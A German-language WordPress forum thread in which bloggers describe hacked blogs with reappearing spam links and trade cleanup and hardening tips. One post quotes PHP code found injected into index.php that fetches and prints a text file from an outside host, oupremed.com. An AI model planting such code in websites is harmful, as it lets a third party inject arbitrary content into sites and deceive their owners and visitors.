Blogroll gehackt?

hi,
hier ein Bericht der Dich interessieren dürfte ;)
Sicherheit in WordPress: 10 Schritte zum Schutz des Admin-Bereichs - WordPress, Absicherung, Admin-Bereich, Blog, Sicherheit, wp-config - Playground

das mit dem table-prefix für wp ist allerdings so eine sache. das würde ich gleich beim installieren von wp machen. viele plugins, die dazu etwas eintragen, könnten sonst probleme bekommen. es gibt übrigens auch ein wp-security-scanner plugin. hochladen, anschauen, lücken stopfen, deaktivieren. einfach und gut.

Hallo,

ich habe das gleiche Problem auf meinem Blog (gehabt). Hatte noch ne Uraltversion von WP laufen und habe "aus Sicherheitsgründen" auf die aktuelle aktualisiert! Muharrrr.... :twisted:

Durch reines Löschen des Codes aus der header.php habe ich das nicht wegbekommen, da der Eintrag immer wieder nachgetragen worden ist.

So schien es zumindest, habe nicht weiter getestet. Die Aussage also erstmal unter Vorbehalt.

Habe jetzt Schreibrechte 444 auf die Datei gesetzt und Ruhe.
Konntest Du evtl. noch was zur genauen Ursache herausfinden!?

Unerwünschter Link auf meiner Blogroll

Ich hatte auf meinem relativ neuen Blog seit gestern einen unerwünschten Link auf meiner Blogroll. Er ließ sich nicht löschen, das heißt, er ließ sich schon löschen, tauchte aber sofort danach wieder auf.
Da ich von html überhaupt keine Ahnung habe, habe ich das Problem bei der Wordpress-Gruppe in XING gepostet und dort wurde mir schnell geholfen.
https://www.xing.com/app/forum?op=s…584241#18598746

Könntet ihr den Code, der bei euch in das Theme eingefügt wurde mal hier posten?

Eventuell auch gleich mal mittels phpmyadmin die Datenbank überprüfen, ob dort ein unbekannter Adminbenutzer in der Tabelle wp_user eingetragen ist. Vielleicht ist diese Art von Hack ja eine Abwandlung meines kleines Problems ;-)

http://forum.wordpress-deutschland.org/allgemeines/47…-ne-luecke.html

Schau mal, hab hier einen Artikel dazu verfasst: WordPress-Wurm treibt sein Unwesen: Blogger als Sicherheitsrisiko

Was ist denn das?

Ich habe heute Morgen ein Ungereimtheit bei meinem Blog festgestell.
Oberhalb des eigentlichen Blogs war ein Hinweis, dass eine Seite nicht gefunden wurde.

Die Index.php enthielt folgenden Code:

Zitat

<?php
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://oupremed.com/s/23.txt");
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode("",file("http://oupremed.com/s/23.txt")); }
if($r) print $r;
?>

Alles anzeigen

Der Link:

Zitat

//oupremed.com

führt auf eine russische Seite!!

Meine Frage, wie kommt so ein Code in die Index.php
Die Kommentarfunktion habe ich schon seit längerer Zeit deaktiviert.

Vielen Dank für jeden tipp im voraus.
Gruß
Herbert

Per FTP? Siehe meinen Artikel vom Post ein Stückchen höher.
Sonst: Welche WordPress-Version hast du denn?

Per FTP? Siehe meinen Artikel vom Post ein Stückchen höher.
Sonst: Welche WordPress-Version hast du denn?

Danke für schnellen Hinweis

Ich verwende noch WP 1.5 - bitte nicht lachen.
Mit der Theme "classic".
Die Header.php enthält keinen auffälligen Hinweis, wie in Deinem Artikel beschrieben.

Der Code, den ich vorhin gepostet hatte, wurde ganz oben in die index.php geschrieben.

Es kann sich dann um eine der bekannten Sicherheitslücken handeln. In den neuen WordPress-Versionen wurden diese alle geschlossen.

Dann bleibt wohl nur ein Update von WP 1.5 auf WP2.7.1

Gibt ers für einen so großen Revisionssprung eine Anleitung.
Habe so etwas noch nie gemacht, immer nur kleine "Sprünge".

Hmm, ist mir nicht bekannt, vielleicht hier im Forum suchen.